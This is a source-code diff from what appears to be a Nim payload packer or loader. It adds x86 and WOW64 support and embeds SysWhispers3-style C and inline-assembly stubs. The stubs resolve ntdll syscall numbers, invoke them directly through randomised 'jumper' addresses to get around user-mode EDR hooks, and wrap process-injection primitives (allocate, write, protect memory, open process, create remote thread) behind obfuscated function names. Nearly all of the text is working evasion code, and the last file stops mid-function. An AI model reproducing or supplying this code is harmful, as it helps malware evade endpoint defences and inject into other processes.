basicCompileFlags.add("--maxLoopIterationsVM:1000000000 ")
if (noRES):
if (noRES and (not compileX86)): # compiled .o files only work for x64, didnt compile for x86 so far
if (dll_out or cpl):
when system.hostOS == "windows":
basicCompileFlags.add(fmt"--passL:{packerPath}\\resource\\dll.o ")
@@ -1601,6 +1630,9 @@ if(fluctuate):
if (compileX86):
basicCompileFlags.add("--cpu:i386 ")
if (wow64):
basicCompileFlags.add("-d:wow64 ")
if not noDInvoke:
basicCompileFlags.add("-d:DInvoke ")
+12 -6
View File
@@ -156,7 +156,10 @@ proc fixIAT*(modulePtr: PVOID): bool =
var libaddr: size_t = cast[size_t](MyGetProcAddress(MyLoadLibraryA(libname),cast[LPSTR]((orginThunk.u1.Ordinal and 0xFFFF))))
else:
var libaddr: size_t = cast[size_t](GetProcAddress(LoadLibraryA(libname),cast[LPSTR]((orginThunk.u1.Ordinal and 0xFFFF))))
fieldThunk.u1.Function = ULONGLONG(libaddr)
when defined amd64:
fieldThunk.u1.Function = ULONGLONG(libaddr)
else:
fieldThunk.u1.Function = DWORD(libaddr)
if fieldThunk.u1.Function == 0:
break
if fieldThunk.u1.Function == orginThunk.u1.Function:
@@ -175,9 +178,10 @@ proc fixIAT*(modulePtr: PVOID): bool =
var hmodule: HMODULE = LoadLibraryA(libname)
var libaddr: csize_t = cast[csize_t](GetProcAddress(hmodule,func_name))
fieldThunk.u1.Function = ULONGLONG(libaddr)
when defined amd64:
fieldThunk.u1.Function = ULONGLONG(libaddr)
else:
fieldThunk.u1.Function = DWORD(libaddr)
when defined(args):
# patch common Win32 functions to get the command line
if exeArgsPassed and "GetCommandLineW" == $$func_name:
@@ -253,8 +257,10 @@ proc pwndem(): void =
when defined(verbose):
echo obf("[-] Allocate Image Base At Failure.\n")
quit()
ntHeader.OptionalHeader.ImageBase = cast[ULONGLONG](preferAddr)
when defined amd64:
ntHeader.OptionalHeader.ImageBase = cast[ULONGLONG](preferAddr)
else:
ntHeader.OptionalHeader.ImageBase = cast[DWORD](preferAddr)
var bytesWritten: SIZE_T
when defined(HellsGate):
if getSyscall(ntWriteTable):
+14
View File
@@ -12,3 +12,17 @@ let WhispersJumpStub * = """
import whispers/syscallsjump
"""
let WhispersStubx86 * = """
import whispers/syscallsx86
"""
let WhispersJumpStubx86 * = """
import whispers/syscallsjumpx86
"""
+1 -1
View File
@@ -614,7 +614,7 @@ proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, Obje
nop
ret
"""
#zuatzuastdiasyyose
# NtClose
proc zuatzuastdiasyy*(ProcessHandle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
asm """
mov [rsp +8], rcx
+2 -2
View File
@@ -514,7 +514,7 @@ proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, Obje
mov r10, rcx
jmp r15
"""
#zuatzuastdiasyyose
# NtClose
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
asm """
mov [rsp +8], rcx
@@ -614,7 +614,7 @@ proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG,
mov r10, rcx
jmp r15
"""
#opqiwepoausdasdjlenProcess
# NtOpenProcess
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
asm """
mov [rsp +8], rcx
+533
View File
@@ -0,0 +1,533 @@
{.passC:"-masm=intel".}
import winim/lean
{.emit: """
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#define SW3_SEED 0x3C3804A6
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 500
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
#endif
#define JUMPER
#include <stdio.h>
//#define DEBUG
// JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
// LOCAL_IS_WOW64
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList = {0,1};
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
// JUMP_TO_WOW32Reserved
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
""".}
type
PS_ATTR_UNION* {.pure, union.} = object
Value*: ULONG
ValuePtr*: PVOID
PS_ATTRIBUTE* {.pure.} = object
Attribute*: ULONG
Size*: SIZE_T
u1*: PS_ATTR_UNION
ReturnLength*: PSIZE_T
PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
PS_ATTRIBUTE_LIST* {.pure.} = object
TotalLength*: SIZE_T
Attributes*: array[2, PS_ATTRIBUTE]
PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST
# NtProtectVirtualMemory
proc uashdiasdj*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '007973501h'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '007973501h'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x05
push_argument1:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument1
mov ecx, eax
mov eax, ecx
push ret_address_epilog1
call do_sysenter_interrupt1
lea esp, [esp+4]
ret_address_epilog1:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt1:
mov edx, esp
jmp edi
ret
"""
# NtWriteVirtualMemory
proc oqiazasusjk*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '0018E0501h'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '0018E0501h'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x05
push_argument2:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument2
mov ecx, eax
mov eax, ecx
push ret_address_epilog2
call do_sysenter_interrupt2
lea esp, [esp+4]
ret_address_epilog2:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt2:
mov edx, esp
jmp edi
ret
"""
# NtCreateThreadEx
proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '0C02C9C08h'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '0C02C9C08h'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x0b
push_argument3:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument3
mov ecx, eax
mov eax, ecx
push ret_address_epilog3
call do_sysenter_interrupt3
lea esp, [esp+4]
ret_address_epilog3:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt3:
mov edx, esp
jmp edi
ret
"""
# NtAllocateVirtualMemory
proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '08F959302h'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '08F959302h'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x06
push_argument4:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument4
mov ecx, eax
mov eax, ecx
push ret_address_epilog4
call do_sysenter_interrupt4
lea esp, [esp+4]
ret_address_epilog4:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt4:
mov edx, esp
jmp edi
ret
"""
# NtOpenProcess
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '0FDA3DE0Fh'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '0FDA3DE0Fh'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x04
push_argument5:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument5
mov ecx, eax
mov eax, ecx
push ret_address_epilog5
call do_sysenter_interrupt5
lea esp, [esp+4]
ret_address_epilog5:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt5:
mov edx, esp
jmp edi
ret
"""
# NtClose
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push '0495CBB45h'
call SW3_GetRandomSyscallAddress
mov edi, eax
push '0495CBB45h'
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x01
push_argument6:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument6
mov ecx, eax
mov eax, ecx
push ret_address_epilog6
call do_sysenter_interrupt6
lea esp, [esp+4]
ret_address_epilog6:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt6:
mov edx, esp
jmp edi
ret
"""
+583
View File
@@ -0,0 +1,583 @@
{.passC:"-masm=intel".}
import winim/lean
{.emit: """
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#define SW3_SEED 0x8113BF0F
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 500
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
#endif
#include <stdio.h>
//#define DEBUG
// JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
// LOCAL_IS_WOW64
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList = {0,1};
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
// JUMP_TO_WOW32Reserved
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
""".}
type
PS_ATTR_UNION* {.pure, union.} = object
Value*: ULONG
ValuePtr*: PVOID
PS_ATTRIBUTE* {.pure.} = object
Attribute*: ULONG
Size*: SIZE_T
u1*: PS_ATTR_UNION
ReturnLength*: PSIZE_T
PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
PS_ATTRIBUTE_LIST* {.pure.} = object
TotalLength*: SIZE_T
Attributes*: array[2, PS_ATTRIBUTE]
PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST
# NtProtectVirtualMemory
proc uashdiasdj*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 0BC1FA8B2h
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x05
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
